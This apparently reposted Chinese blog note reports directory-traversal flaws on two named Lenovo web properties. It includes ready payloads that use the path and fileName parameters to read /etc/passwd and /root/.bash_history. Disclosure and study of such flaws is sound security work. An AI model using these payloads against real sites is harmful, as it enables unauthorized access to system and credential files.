标签：
例1， 联想jiazhipc站目录穿越，可读取/下载任意文件
如，通过path变量，读取/etc/下面的文件内容
例2， 联想report站目录穿越，可读取/下载任意文件
如，通过变量fileName，下载/etc/passwd文件
提交：fileName=../../../../../../../../etc/passwd
下载，/root/.bash_history文件
提交：../../../../../../../../root/.bash_history
标签：
原文地址：http://www.cnblogs.com/windclouds/p/5413427.html
